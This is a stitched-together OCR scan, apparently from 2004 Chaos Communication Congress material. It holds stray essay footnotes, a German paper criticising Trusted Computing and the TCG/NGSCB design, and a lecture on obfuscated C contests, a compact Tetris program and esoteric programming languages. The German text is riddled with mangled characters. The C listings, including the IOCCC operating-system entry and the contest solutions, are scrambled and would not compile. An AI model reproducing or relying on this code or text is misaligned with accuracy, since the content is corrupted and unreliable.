Nettime, February 1, 1998, at http://www.nettime.org/Lists-Archives/nettime-I1-
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9802/msg00004.html

[25] Michel Foucault. The History of Sexuality.

[26] See Arthur Kroker and Marilouise Kroker (Eds.) The Last Sex, Feminism and
Outlaw Bodies, Montreal: New World Perspectives, CultureTexts Series,1993, at

http://www.ctheory.net/downLoad.asp?bookid=7

[27] This section on ethical licensing (or, on the enforcement of ethics in the digital realm
through law) and F/OSS licensing, as well as its limitations, draws heavily on a document
in progress I've been writing over the past twelve months. For the unfinished version of
the document, see G. Dafermos. Openness and Digital Ethics: F/OSS Licensing Under
the Miscoscope, (Version 0.9, February 2004), at

http://radio.weblogs.com/0117128/ethical licensing/Openness _and Digital Ethics.html
[28] See Giles Deleuze and Felix Guattari. A Thousand Plateus, Continuum International
Publishing Group — Mansell, 2001. pp.353.

[29] Ken Jordan, Jan Hauser, and Steven Foster. The Augmented Social Network:
Building identity and trust into the next-generation Internet, First Monday, Volume 8,
Number 8, August, 2003, emphasis mine, at

http://www.firstmonday.org/issues/issue8 8/jordan/
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Trusted Computing - eine unendliche Geschichte

Ruediger Weis, cryptolabs Amsterdam
Andreas Bogk, Chaos Computer Club Berlin

Abstract

Nach heftigen Protesten ist die Trusted Computing Group 2004 auf
einige Kritikpunkte teilweise eingegangen. So kiindigte Microsoft eine
grundlegende Uberarbeitung von NGSB an. Die TCG schrieb einen ver-
besserten Schutz der Privatsphéire in den neuen Standard 1.2. Auch ze-
ichnet sich eine grossere Dialogbereitschaft in Teilbereichen ab. Argerlich
hingegen ist, dass einige Firmen versuchen im zweistelligen Millionen-
bereich Geréte mit der veralteten weniger benutzerfreundliche Version
TCG1.1b in den Markt zu driicken. Auch durch die trotz gegenteiliger An-
frage der Bundesregierung vorgenommene Integration der kryptographis-
chen Funktionalitdten in ”Super-I/O-Chips” treten neue Sicherheitsprob-
leme auf. Auch sind zentrale Fragestellungen wie, die Problem der Nutzer-
bevormundung und der Wettbewerbsbehinderungen, weiterhin ungelost.
Dies wird inzwischen auch von Forschern aus der Industrie offen ein-
gerdaumt. Eine wissenschaftliche Analyse zeigt weiterhin, dass der neu
eingefithrte verbesserte Nutzerschutz (DAA) einfach wieder aufgehoben
werden kann. Zudem erschweren zahlreiche Fehler und Unklarheiten im
Standard die Implementierung. Die Hindernisse fiir die Entwicklung und
Verwendung von Open Source Software sind aktuelle Entwicklungen ins-
besondere im Bereiche der Software-Patente sogar noch weiter angewach-
sen.

1 Trusted Computing

Die Trusted Computing Platform Alliance (TCPA) [TCPAO03] wurde 1999 von
Intel, Microsoft, HP, Compaq und IBM gegriindet. Im Februar 2002 wurde die
TCPA Main Specification v1.1b verdffentlicht. Im April 2003 griindeten AMD,
HP, IBM, Intel und Microsoft die Trusted Computing Group (TCG) [TCGO03].
Im Gegensatz zur TCPA verfiigt die TCG tiber eine straffe Organisation mit
stark unterschiedlichen Mitwirkungsrechten der beteiligten Firmen (siehe auch
[Koe03]). Neben der von der TCG erarbeiteten Architektur plant Microsoft
mit hohem Aufwand ein von Software-Patenten geschiitztes eigenes Konzept
fiir Trustworthy Computing unter dem Namen Palladium. Dieses wurde 2003
in next-generation secure computing base (NGSCB) umbenannt. Im Mai 2004
kiindigt Microsoft eine umfassende Uberarbeitung von NGSCB an.

Zentraler Hardwarebaustein der TCG Architektur ist das sogenannte Trusted
Platform Module (TPM) (vgl. Fritz Chip) [BR04]. In den ersten Implemen-
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tationen kann man sich dies als eine an den LPC Bus festgelotete Smart-Card
vorstellen. Es bestehen jedoch auch Planungen, die kryptographischen Funk-
tionalitdten direkt in Prozessoren (vgl. Intel LaGrande) oder Input/Output-
Bausteinen zu integrieren.

Wesentliche Designpunkte der Architektur sind

e Hardware-Speicher fiir kryptographische Schliissel
e Unterstiitzung von sicherem Booten
e Remote Platform Attestation und

e kryptographisches Sealing.

2 Chancen ...

Sicherer Hardwarespeicher und ein kontrollierbarer Bootprozess werden allge-
mein als eine wiinschenswerte Verbesserung der Systemsicherheit angesehen.

2.1 Sicherer Hardware-Speicher

Die Tatsache, dass auf den meisten Computersystemen kein geschiitzter Bere-
ich zur Speicherung von kryptographischen Schliisseln und anderer besonders
schiitzenswerter Informationen zur Verfligung steht, ist eines der Kernprob-
leme der Computersicherheit. In der Regel kénnen beispielsweise Angreifer,
welche fiir kurze Zeit die Kontrolle {iber ein System erhalten, geheime Schliissel
kopieren. Eine Verschliisselung der Schliisselinformationen mit Hilfe eines Be-
nutzerpasswortes ist zwar eine durchaus empfehlenswerte Manahme, jedoch sind
in diesem Szenario Worterbuchattacken erschreckend erfolgreich.

2.2 Sicheres Booten

Die Unterstiitzung eines sicheren Bootprozesses ist insbesondere nach dem Ent-
decken einer Systemkompromittierung eine hochst hilfreiche Erweiterung der
Sicherheitsarchitektur. Uberraschenderweise ist aber auch dieser Bereich durch
eine hohe Unsicherheit beziiglich existierender Software-Patenten gezeichnet
(s.a. [ASF97, AFS98]).

2.3 Smart-Card Systeme

Recht dhnliche Sicherheitsfeatures konnen bereits heute mit Smart-Card-basier-
ten Systemen erreicht werden. Smart-Cards bieten dariiber hinaus eine weit
hohere Flexibilitat. In groer Vielzahl erhéltliche Kombinationen aus Smart-
Card und Smart-Card-Leser fiir den USB Anschluss ersparen die Beschaffung
von separaten Lesegerdten. Entwiirfe flir eine kryptographische Absicherung
des USB-Ports befinden sich im Moment in der Standardisierungsdiskussion.
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3 ... und Risiken

Eine grundlegende Anderung der gesamten IT Struktur ist natiirlich auch mit
Problemen verbunden. Insbesondere die Bereiche der Remote Platform Attes-
tation und des Sealings sind hoch umstritten.

3.1 Remote Platform Attestation

Remote Platform Attestation ermdglicht einer externen Partei, iiber das Net-
zwerk den genauen Zustand des Nutzer-Computers auszulesen. Hierdurch kann
der Computer vor dem Besitzer zum Vorteil von Diensteanbietern geschiitzt
werden.

3.2 Sealing

Sealing wird dazu eingesetzt Daten an einen bestimmten Computer zu binden.
Damit sollen beispielsweise Geschaftsmodelle unterstiitzt werden, bei denen fiir
jedes Endgerat eine eigene Lizenz erworben werden muss.

3.3 Virtuelle Set-Top-Box

MIT-Professor Ron Rivest formulierte diesen Sachverhalt folgendermaen:

The right way to look at this is you are putting a virtual set-top box
inside your PC. You are essentially renting out part of your PC to
people you may not trust.

Dass existierende Befiirchtungen betreffend erheblicher Eingriffe in die per-
sonlichen Computersysteme nicht vollig aus der Luft gegriffen sind, zeigt unter
anderem eine Lektilire von Microsoft Lizenzen:

Microsoft may provide security related updates to the OS Compo-
nents that will be automatically downloaded onto your computer.
These security related updates may disable your ability to copy
and/or play Secure Content and use other software on your com-
puter. (Microsoft, Windows Media Player 7.1, EULA)

Viele Endnutzer-Lizenzen vom Microsoft sind innerhalb der EU juristisch
nicht haltbar. Ein sich nicht unter der vollstdndigen Kontrolle des Computerbe-
sitzers befindlicher Hardwarebaustein konnte dazu verwendet werden, rechts-
widrige, verbraucherunfreundliche Lizenzen technisch zu erzwingen.

3.4 Kryptographische Kritikpunkte

Dreh- und Angelpunkt der diskutierten Architekturen ist ein eindeutiger pri-
vater Schliissel (Endorsement Key), tiber welchen der Anwender keine volle Kon-
trolle hat. Auf der RSA Conference im April 2003 in San Francisco duerten sich
viele der fiihrenden Kryptographen sehr kritisch zu dieser Designentscheidung.
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Whitfield Diffie, einer der Entdecker der Public-Key Kryptographie, zeigte sich
besorgt iiber die dominierende Stellung vom Microsoft und forderte, dass die
Benutzer die vollstiandige Kontrolle iiber die Schliissel des eigenen Computers
behalten sollten:

e (The Microsoft approach) lends itself to market domination, lock out, and
not really owning your own computer. That’s going to create a fight that
dwarfs the debates of the 1990’s.

e To risk sloganeering, I say you need to hold the keys to your own computer.

Auch Professor Ron Rivest (MIT), 2002 Gewinner des Turing Award, welcher
allgemein als eine Art Nobelpreis der Informatik angesehen wird, mahnte ein-
dringlich, die moglichen Konsequenzen griindlich abzuwagen:

e We should be watching this to make sure there are the proper levels of
support we really do want.

e We need to understand the full implications of this architecture. This stuff
may slip quietly on to people’s desktops, but I suspect it will be more a
case of a lot of debate.

e Privacy tends to go down in inverse to the number of transistors in the
world. Interessanterweise ist Ron Rivest unter anderem auch Mitentwickler
des RSA-Algorithmus und der MD4-Hash-Funktionen-Familie also den
zentralen kryptographischen Algorithmen, welche im TPM Anwendung
finden.

Von der kryptographischen Forschergemeinde wird einhellig begriit, dass
die TCG bei der Algorithmenwahl auf standardisierte Verfahren (RSA, SHA-
1, AES) setzt. Allerdings erscheint die Verwendung der 160-bit Hashfunk-
tion SHA-1 nicht mehr zeitgema. Fiir den Bereich der symmetrischen Ver-
schliisselung sei zur Erhohung der Sicherheit nochmals die grundséatzliche Ver-
wendung von AES256 angeregt [LW02].

3.5 Gefahren von Black-Box-Kryptographie

Seit vielen Jahren warnen Kryptographen, dass verdeckte Kanéle bei der Ver-
wendung von kryptographischer Hardware leicht zu implementieren sind. Im
August 2003 warnte sogar die NSA in einer Stellungnahme explizit vor derarti-
gen Moglichkeiten [HNO3]. Es ist unter anderem moglich, mit ver6ffentlichten
Verfahren geheime Informationen aus einem beweisbar sicherem Blackbox Sys-
tem sogar beweisbar sicher heraus zu schmuggeln. Bei einigen Systemen (sieche
z.B. [WLO02]) kann selbst eine Hardware-Analyse nicht aufdecken, welche In-
formationen verdeckt iibertragen wurden, und fiir einen erfolgreichen Angriff
miissen lediglich eine kleine Anzahl von zeitlich nicht notwendigerweise zusam-
men hidngenden Chiffre-Texten passiv abgehort werden.
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Aus diesem Grunde ist es von grossem Belang, dass sdmtliche Designun-
terlagen und auch der eigentliche Herstellungsprozess von vertrauenswiirdigen,
internationalen Institutionen vollstandig kontrolliert werden.

3.6 Neue Probleme durch Integration

Eine zunehmende Intgration von elektronischen Bausteinen macht diesen Evalu-
ationsprozess in der Praxis immer schwieriger. IBM verbaute Millionenfach die
Super-I/0O Baustein PC8374T bzw. PC8392T von National Semiconductors.

Diese kombinieren Schnittstellen fiir Tastaur, Maus, Drucker, Floppy-Lauf-
werk und RS-232 mit eine TCG-1.1b-Trusted Platform Module. Neben der
Tatsache, dass hierbei die veraltete Version des TCG Standards , ohne die in
TCG 1.2 eingefiihrten Sicherheitsverbesserungen Verwendung findet, warnten
Wissenschaftler schon seit Jahren vor einer derartigen Vermischung.

So findet man auch in der Stellungnahme der Bundesregierung zu den Sicher-
heitsinitiativen TCG und NGSCB im Bereich Trusted Computing auf Seite 2
f., Absatz 2.2. folgendes klares Statement:

”Um die Funktionen des Sicherheitsmodules eindeutig zuordnen zu kénnen
und eine eindeutige Priiffahigkeit zu gewéhrleisten, miissen sie Sicherheitsfunk-
tionen an eine zentralen Stellle in einem seperaten Baustein (TPM) gebiindelt
werden. Eine Vermischung des Sicherheitsmoduduls mit anderen Funktionsein-
heiten (z.B. CPU, Chipsatz, etc.) fiihrt zu Intransparenz und dazu, dass eine
sicherheitstechnische iiberpriifung nicht mehr einfach durchfiihrbar ist.”

3.7 (US) Regierungszugriffe

Da Microsoft sowie die anderen fithrenden Unternehmen der TCG als priva-
trechtliche Firmen der US Gesetzgebung unterstehen, sollten auch mogliche
Eingriffe durch US-Behérden Beriicksichtigung finden. Auf die mehrfach vorge-
brachte Sorge, dass die Verwendung von starker Kryptographie Begehrlichkeiten
der US Behorden wecken konnte, antwortete Microsoft folgendermaen [MS03]:

e Q: Won’t the FBI, CIA, NSA, etc. want a back door?

e A: Microsoft will never voluntarily place a back door in any of its products
and would fiercely resist any government attempt to require back doors in
products. From a security perspective, such back doors are an unaccept-
able security risk because they would permit unscrupulous individuals to
compromise the confidentiality, integrity, and availability of our customers’
data and systems. ... Zwar wird Microsoft beziiglich der Ablehnung von
Hintertiiren weithin Glauben geschenkt, jedoch weisen insbesondere die
Worte never voluntarily auf ein offensichtliches Dilemma hin. Es diirfte
Microsoft schwer fallen, Weisungen der US-Regierung beispielsweise im
Kampf gegen den Terrorismus nicht Folge zu leisten.
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3.8 Open Source

Software Da Microsoft einen iiberwéltigenden Anteil des Betriebssystem-Mark-
tes beherrscht, kénnen Trusted Computing und NGSCB nur schwerlich isoliert
betrachtet werden. Zusétzlich sind allerdings auch die Auswirkungen der neuen
Architekturen auf Open Source Software zu untersuchen.

Einige Firmen forschen an einer TCG-enhanced-Version von GNU/Linux.
Nach Ansicht der meisten Experten ist es erforderlich, Programme, welche in
einem trusted Bereich laufen, auf Sicherheit zu untersuchen. Dies hat umfangre-
iche Auswirkung auf die Entwicklung von freier Software [San04]. Nach einer
wahrscheinlich kostspieligen Evaluation kdnnte eine Version des Programmes
digital unterzeichnet werden. Diese Entwicklung muss unter GPL bleiben. Je-
doch macht jede Anderung, die ja laut GPL weiterhin moglich sein muss, die
Signatur ungiiltig.

Peter N. Biddle, Microsoft Product Unit Manager Palladium, &duerte sich zu
dieser Problemstellung auf der Comdex 2002:

Grundsétzlich konnte die gesamte Palladium-Architektur auch nach
Linux portiert werden, wenn die Lizenzvorbehalte im Stil der GPL
nicht wéren. Jeder Code fiir ein TPM wird von der TCPA sig-
niert und verschliisselt. Wird irgendetwas weiter geben, verandert
und neu kompiliert, so ist eine neue TCPA-Lizenz erforderlich. So
gesehen wird das Trustworthy Computing niemals mit einer Open-
Source-Lizenz kompatibel sein. [HN02]

3.9 Patente

Anlésse zu Sorge, dass insbesondere Microsoft auch iiber Patente der freien
Wettbewerb behindern kénnte, werden auch durch Microsofts offizielle Stellung-
nahme [MS03] nicht gerade aus der Welt gerdumt.

e Q: Could Linux, FreeBSD, or another open source OS create a similar
trust architecture?

e A: From a technology perspective, it will be possible to develop a nexus
that interoperates with other operating systems on the hardware of a
nexus-aware PC. Much of the next-generation secure computing base ar-
chitecture design is covered by patents, and there will be intellectual prop-
erty issues to be resolved. It is too early to speculate on how those issues
might be addressed. Beim Hearing des Bundeswirtschaftsministeriums im
Juli 2003 bedauerten selbst hochrangige Microsoftvertreter die in diesem
Bereich bestehenden Unklarheiten.

4 VerbesserungsVorschlage

Um die moglichen Vorteile von Trusted Computing insbesondere im Unter-
nehmensbereich mit einer Reduktion der durch diese neue Architektur induzier-
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ten Risiken fiir den Schutz der Privatsphére und den fairen Wettbewerbes zu
kombinieren, wurden verschiedene Vorschlége in die Diskussion eingefiihrt.

4.1 Ersetzbarer Endorsement-Schliissel

Die mogliche Kontrolle iiber die sogenannten Endorsement Keys stellt ein hohes
Missbrauchsrisiko dar. Aus diesem Grunde ist es insbesondere in Firmenumge-
bungen wiinschenswert, Vertrauensstrukturen unter eigener Kontrolle zu be-
treiben. Aus diesem Grunde sollte die Moglichkeit bestehen, einen eigenen
Endorsement Key als Ausgangspunkt fiir eine selbstkontrollierte Sicherheits-
Architektur in das kryptographische Modul einzubringen.

4.2 Owner Override

Fiir eine feinere Granularitdt von Sicherheitspolitiken stellt auch der sogenan-
nte "Owner Override” eine interessante Moglichkeit dar. Owner Overide ist
eine Technik, welche von der amerikanischen Biirgerrechtsorgeniation Eletronic
Frountier Foundation [EFF03] vorgeschlagen wurde. Vereinfacht gesprochen
soll der Besitzer eines Computers die Moglichkeit erhalten, nach seinem eige-
nen Willen auf externe Anfragen reagieren zu konnen. Hierdurch koénnte sich
der Computerbesitzer selbst gegen Wettbewerbsbehinderungen zu Wehr set-
zen. In einer Firmenumgebung kénnte Owner Override beispielsweise dazu so
eingesetzt werden, dass nur die Geschéftsleitung in der Prasentation nach auen
Anderungen durchsetzen kann. Im Falle von Privatrechnern soll der Comput-
erbesitzer auch weiterhin die Kontrolle tiber die personliche Hardware behalten.

5 Diskussion

Neben vielen kritisch zu bewertenden Teilaspekten sind insbesondere zwei Punk-
te von groer wirtschaftlicher und gesellschaftlicher Bedeutung: die Frage der
Kontrolle iiber die kryptographischen Schliissel und die Gefahr, dass mit technis-
chen Mitteln der freie Austausch von Informationen behindert und unliebsame
Konkurrenz (z.B. GNU/Linux) ausgesperrt werden kann. Es drohen zwei Wel-
ten zu entstehen, welche Schwierigkeiten haben werden, Informationen auszu-
tauschen. Jedoch hat gerade die Offenheit des Netzes eine Wissensexplosion
ausgelost. In diesem Sinne bedrohen TCG und NSGB die Fundamente der
Wissensgesellschaft. DRM und Plattformbindung machen beispielsweise auch
Archivierung von Wissen schwierig bis unméglich. Die Fremdkontrolle von kryp-
tographischen Schliisseln, welche eine gewichtige Rolle in der zukiinftigen IT-
Infrastruktur spielen, durch eine privatwirtschaftliche Firma, welche unter der
Rechtsaufsicht einer ausldandischen Regierung steht, bringen auch interessante
politische und kartellrechtliche Fragestellungen mit sich.
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6 Ausblick

Unter anderem auf Hearings des Bundeswirtschaftsministeriums wurden ver-
schiedene Kritikpunkte von Datenschiitzern und Kartellrechtlern vorgetragen,
von denen einige vom TCG Konsortium in der aktuellen Uberarbeitung TCG
1.2 zumindest teilweise angegangen wurden. Nach ldngerem Driangen hat die
TCG seit kurzem ebenfalls erweiterte Mitwirkungsrechte insbesondere fiir den
Wissenschaftsbereich zugebilligt. Bleibt zu hoffen, dass diesen Schritten in die
richtige Richtung weitere folgen werden. Zentrale Punkte werden dabei unter
anderem die Fragen einer besseren Nutzer-Kontrolle beispielsweise durch Owner
Override, ersetzbare Endorsement Keys und die leidigen Patent-Fragen sein.

Die vor allem in Europa seit geraumer Zeit betriebenen Entwicklungen von
Smart-Card basierten Systemen bietet dariiber hinaus interessante Moglich-
keiten, erhohte Sicherheit, Flexibilitat und personliche Kontrolle von kryp-
tographischen Schliisseln zu kombinieren.
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Weird Programming 2
continous headache

Lecture for the 21t" Chaos Communication Congress, 27-29"" Dec 2004, Berlin, Germany

Like in the last years first part of this lecture, examples of strange programming (art)work will be
shown. In addition to the funny and sportive disciplines known from last year, some examples of
painful production code will be presented.Online materials including a german version of the slides
for this speech will be made available at http://www.ulm.ccc.de/~schabi/weirdprog2/.

The CCC ErfA Group Ulm is planning to hold a shortest C coding contest on this Congress. We
learned our lession from the last years contest, so the rules will be much simplified.

Abstract:

The first part of the presentation will - similar to last years presentation - shed some light on the
funny and sportive disciplines of the art of programming. Besides new examples in disciplines that
were presented last year, like obfuscated programming and shortest code, core wars and demo
coding are new in the agenda.

In the second part of the lessons, some creatively designed programming languages will be
introduced. Especially, the two projects "Argh!" and "repsub" will be presented. Both of them
evolved in the orbit of the CCC.

Finally, the third part will introduce some extra painful examples of production code. A fertile
source for those are some commercially developed projects that were open-sourced afterwards.
From time to time, those create the impression that the developers lost control of their own code.
They now hope the community will help them to find the way out of their maintainance nightmare.

17" I0OCCC

The 17" IOCCC (International Obfuscated C Coding Contest) started at 7" Jan 2004. Although the
IOCCC is announced as annually, you may have noticed that the 16" IOCCC took place in 2001. It
had some delays so it was finished in 2002, and the jury seemed to be temporarily short on
ressources so the 17" IOCCC which was planned to be hold in 2003 really started in 2004. This
mkes one wonder whether the CCC part in IOCCC has something in common with the CCC, or at
least that they could add a 4™ C for chaotic.

This is the source of one of the winners, the “Best of Show” entry:
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#define G(n) int n(int t, int g, int d) { {
#define X(p,t,s) (p>=t&s&p<(t+s)&& (p-(t) Y (V) =V + 208 = (I (1)) C=Y (t+12);
&1023)<(s&1023)) L (209, 223) L (168, 0) L (212, J=Y (¢t + 16);
#define U(m) *((signed char *) (m)) 244) _((int) &s, 3, 0); o (Y (t +8), 0, dy
#define F if (!--q){ for (; 17) MU (d+ D) = )
#define I(s) (int)main-(int)s Rn=Y (V- 12); X (D, C, j) 2 X (D, C + 1025, jJ -
#define P(s,c,k) for (h=0; h>>14==0; if (C& ' ") 2050) ? X (b, C + 2050,
h+=129) Y (16*c+h/1024+Y (V+36)) £128>> { )
(h&7) 20 (s+ (h&l5367))=k:k 1;+f; B j - 3075) ? X (D,
if (k< 2
? = (( ) Cc + 2050,
Z; Y (3) -= p;
F Y , C=E (Y (V), Y (t + Y (3) +=p += U (&D) * (1 -
4) 0 , 0); k * 1025); J -
Y ) (t + 20) = 1i; if (k)
Y ) ; goto y;
Y ) ; } 4100) ?
Y ) 42890; else X (b, C + 4100,
v ) —E (Y (V), s =D * 8 + { ((§ & 1023) + 18424)) 2 176
1664, , ; for (C =V - 20; 24 : 20 : 28 : 0 : U (d + D);
for (p = 0; § < s; j++, pt+) 'i & D & 1 && n i for (n =Y (¢t +4); U (1L + n);
U(d+3) =i==D1]3<p?p-, && (X (p, Y (n + 12), it4)
0 (n =U (C+ 512 + i++)) < ' ' 2 p |= Y (n+16)) 2 J =n+ 12, Y (C + 8) = P o(d+ ¥ (t +12) + 5126 + 1 * 8,
n * 56 - 497, 0 : n; Y (n+8), Y (n+ U (n+ 1), 31);
} 8) =Y (V-12), Y (V - 12) = E (Y (8), &, 2, d);
n, 0 :n; C=n, }
n=Y (Y (t +4)) & 1; n=Y (n+8)); }
F i =D& 1;
U (Y (t + 28) + 1536) |= j &= -i; G ()
62 & -n; } {
M } Z =Y (V+ 24);
U (d + D) = else if (128 & ~D) FY (V- 16) += t;
X (D, Y (t + 12) + 26628, 412162) ? X { D=Y (V- 16) - t;
(D, Y (t + 12) + 27653, E (Y (n), n, 3, U (V+D% 64 + }
131) »~ 32);
410112) 2 31 : 0 : U (d + D); n=yY (V-12); F for (i = 124; i < 135; i++)
for (; j < 12800; j += 8) y:C = 1 << 24; D=D<<3 | Y (t+ i) &7;
P (d+ 27653 + Y (t +12) + ' ' * (j & M U (C + D) = 125; }
~511) + j % 512, o (n, 0, C);
U (Y (£t +28) +3 / 8+ 64 %Y (£t + P (C+p - 8196, 88, 0); if (9 > 0)
20)), 0); M U (Y (0x11028) + D) = U (C + {
} D) ; for (; n=U (D + 1i); i++)
} if (n - U (t + 1))
F if (n) } {
{ } D += (D, 2, 0) + 1023 & ~511;
D=1Y (t + 28); i = ~0;
if (d - 10) for (D = 720; D > -3888; D--) }
U (++Y (t + 24) + D + 1535) = d; putchar (D > F if (Y (D))
else 0z {
{ ™) I\320\234\360\256\370\256 n = _(le4, 1, 0);
for (1 = D; 1 < D + 1600; i++) 0\230F .,mnbvcxz ;lkjhgfdsa Y (n +8) =Y (V- 12);
U (i) = U (i + 64); \n] [poiuytrewg =-0987654321 \357\262 Y (Vv - 12) = n;
Y (t + 24) = 1; \337\337 \357\272 \337\337 () Y (n + 4) =1 =n + 64;
E (Y (v), 1 - 127, 3, 0);: \"\343\312F\320!/ !'\230 26!/\16 for (; J < 96; j++)
) K>!/\16\332 Y o(i+ ) =Y (£t + 9);
} \4\16\251\0160\355&\2271\20\2300\355 "% i =D + 512;
else {0\355\347\2560 \237gpa%\2310!\230 jo=1i+Y (1 + 32);
Y (t + 20) += ((d >> 4) ~ (d >> 5)) - \337\337\337 , ) for (; Y (J + 12) !=Y (i + 24); j
3; \"K\240 \343\316qrpxzy\0 += 40);
} sRDh\16\313\212u\343\314qrzy 1o( " E (Y (n) =Y (j +16) + i, n, 1,
} [D] ~ 32 + Y (I (D)) 0);
return 0; }
G () } }
G (0); }
G (main) G (o)
{ { return D;
z, k = K; Z; }
if (lt) if (t)

Can you guess what it is? When started, it produces a boot image and the root file system for a
complete multitasking operating system, including a window system, a shell and a text viewer.
Here's a screenshot:
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Compact C Coding Contest

As last year, the CCC Ulm holds a compact C coding contest this year. The rules and the problem
description is avialable at http://ulm.ccc.de/shortest or in the congress wiki in the project pages.

The last years contest involved converting numbers from base 23 to base 11, in the Java2k format.
The main problem was that the input numbers were allowed to have 42 digits which was way too
much for 32-bit integer arithmetics. The winning Entry was submitted by Holger Kuhn who solved
the problem in 401 chars of source:

#include <stdio.h>

#define y for(c=0,1i=54;i>=0;c=(s[i]+=a[il+c)/11,s[i]l=s[1]1%11,1i--);

#define z for (i=0

main () {char s[55],a[55];int c,i,d;for(;;) {z;1<55;s[i++]=0);for (; (d=getchar
())!'='"\n";) {d=d>587? (d>772d-87:d-55) :d-48;z;i<55;a[i]l=s[i],1i++);y z;1<54;s[1]
=s[i+1],1i++);s[54]=0;y z;i<53;a[i++]=0);a[53]1=d/11;a[54]1=d%11;y}z;i<54&&s[1]
==0;i++);for (;i<55;i++)printf ("%c",s[1]1<10?s[1]+48:32) ;printf ("\n");}}

After the contest, some participants and Jury members continued to improve their solutions, and the
shortest solution so far produced is 204 chars short:

#include<stdio.h>

int

f[61l],c,i;main() {for (;c=getchar()+1l;*f=-38)1f (c>33) for (c=c<6l?c-
49:84c&31,1=1;1<60; f[i++]=c%1l,c/=11)c+=£f[1]*23;else

for (c=0;1>=0;f[1--1=0)if(c|=f[i]|i<2)putchar (f[1]>9?32:48+f[1]);}

Compact something

Across some unreproducable ways, I got hands on the URL http://wartha.informatik.uni-
rostock.de/c7/compact.c which points to the following C program:

long h[4];t(){h[3]-=h[3]/3000;setitimer(0,h,0);}c,d,1,v[]={(int)t,0,2},w,s,I,K
=0,1i=276,73,k,ql[276],0[276], *n=q, *m,x=17,f[]={7,-13,-12,1,8,-11,-12,-1,9,-1,1,
12,3,-13,-12,-1,12,-1,11,1,15,-1,13,1,18,-1,1,2,0,-12,-1,11,1,-12,1,13,10,-12,
i,12,11,-12,-1,1,2,-12,-1,12,13,-12,12,13,14,-11,-1,1,4,-13,-12,12,16,-11,-12,
12,17,-13,1,-1,5,-12,12,11,6,-12,12,24};u() {for(i=11;++1<264;)if ((k=gq[i])-0Q[1]
Y {Q[i]=k;if (i-++1][1%12<1)printf ("\033[%d;%dH", (I=1)/12,1%12*2+28) ;printf (
"\033[%dm "+ (K-k?0:5),k);K=k;}Q[263]=c=getchar();}G(b) {for(i=4;1i--;)if(gq[i?b+
n[i]:b])return O;return 1;}g(b) {for(i=4;i--;qg[i?x+n[i]:x]=b);}main(C,V,a)char*
*V,*a; {h[3]1=1000000/ (1=C>1?atoi (V[1]) :2);for (a=C>22V[2]:"jkl pg";1i;1i--) *n++=i<
25111%12<2?7:0;srand (getpid());system("stty cbreak -echo stop u");sigvec(1l4,v,
0);t();puts("\033[H\O33[J");for(n=f+rand()%$7*4;;9(7),u(),g(0)){1f(c<0){if (G (x+
12))x+=12;else{g(7) ;++w; for (j=0;3<252;3=12* (§/12+1) ) for (; q[++31;)1if (3%12==10) {
for(;3%12;ql[j--1=0);u();for (;--J;qlj+12]1=ql[j]);u();}In=f+rand () 57*4;G(x=17) || (c
=a[5]);}}tif(c==*a)G(--x) | |++x;if (c==a[l])n=f+4** (m=n) ,G(xX) | | (n=m) ;if (c==a[2])G
(++x) | | -=x;1if (c==a[3]) for (;G(x+12) ;++w) x+=12;if (c==a[4] | |c==a[5]) {s=sigblock(
8192) ;printf ("\033[H\033[J\033[0m%d\n",w) ;if (c==a[5])break; for (j=264;3--;Q[jl=
0) ;while (getchar()-al4]) ;puts ("\033[H\033[J\033[7m") ;sigsetmask(s);}}d=popen (
"stty -cbreak echo stop \023;sort -mnr -o HI - HI;cat HI","w");fprintf (d,

"$4d from level %$1d by %s\n",w,1l,getlogin());pclose(d);}

As the following Screenshot demonstrates, it is a fully working, playable tetris, it even includes a
high score table.
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RepSub — Repeated Substitutions

RepSub is based on pattern matching and text substitution. Repsub has the high ideal to be a
democratic programming environment. There are no hierarchies, all memory cells enjoy equal
rights, and can be processed highly parallel. There is no official home page yet, but the Inventor
Marco Haschka gave me the permission to put the specs and reference implementation online, so
you will find this material on this lectures information page.

RepSub has several advantages over other languages. It contains even less symbols that brainfuck,
and is simpler than Forth. This makes it easier to grasp than most other languages. It is also
considered to be more elegant compared to Intercal, and to be potentially more cryptic than C. This
combination is a powerful tool in the hands of a skilled programmer. Here's a small example, the
usual Hello World:

‘ s hello -World!

The pattern language is not as expressive as extended regular expressions, but it is sufficient. It is
proved that it is sufficient because RepSub is turing complete. The proof is straight forward — a
standard turing machine can very easily be emulated. This is a small three-rule binary turing
machine:

Input: 1011010111000001010start10001001000000010101

Program: start z001
*2z001*? *0?261*11z002:z003*10;
*2z002*? *0?261*11z003:z003*10;
*2z003*? *0?261*11z003:z001*10;

The current implementation, which is based on matlab, is in productive use. A big German
manufacturer of light bulbs that, surprisingly, does prefer not to be named, uses it for not further
specified pattern matching based text processing.

Argh! and Aargh!

Argh! and its derivative Aargh! are somehow similar to BeFunge in that they are two dimensional
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virtual machines. Argh! and Aargh! were both adjusted to fit the special needs of customary unix
text mode terminals. Their 2-dimensional micro machine is sized 80 columns. Argh! limits this to
40 lines, while Aargh! does not impose any limit to the number of lines. Aargh! thus allows self-
modifying Programs to grow limitless, and is believed to be turing complete. Both provide an
unlimited stack.

They are ideal for free software developers, because they are licensed under then GNU GPL, and
provide a complete tool chain. There is a C-based interpreter, a perl based Debugger, an Emacs
mode including interpreter and debugger, and a VIM editing mode. And it manages to express the
frustration of developers, als all error messages begin with “Argh!”.

Hello world, as delivered in the file hello.agh as part of the distribution, reads as follows:

lppppppprrppsri]j
Hello World*

gPh

hello.agh - the classic killer application

Note that line 6 is part of the program. Argh! and Aargh! let you freely use unused places of your
source for comments, without any syntactic restrictions.

Of course, those languages are usable for productive uses, too. The following example, which is part
of the contrib directory of the Argh! distribution, implements rot13 as a shell filter. It reads from
stdin and puts the result to stdout. And it takes advantage of the special # instruction that allows
unixoid environments to automatically find the Argh! interpreter via the famous #! shebang trick
(which is also used e. G. by shells, python and perl). This allows you to use Argh! programs as shell
commands, directly from the commandline.

#!/usr/bin/env argh

111117 1111115 1111115
jhhheh D NA D na J
J jh 1drXDAR11j 1drXDAR1l1lj

JjlsdRxXqg D A 1Darj D a 1lDarj

Jk 11D1drXDdrxk ANldrXDdrxk anlf]
JkGh N Z1D1l1llk n z1D111lk j
11lkhhhhhhhhhhhhhhhhhhhhhhhhhhhhhPh

# rotl3 written in Argh!
# Copyright (C) 2004 by Thomas Arendsen Hein <thomas@intevation.de>
# This program is free software under the GNU GPL (>=v2)

Of course, the famous 99 Bottles of Beer is also possible in Argh!

lsdllDsalrxdarxsL HshDppppPPPPPPPPPPPPPPPRPPPPPPPrrrrppppppsrddf £]
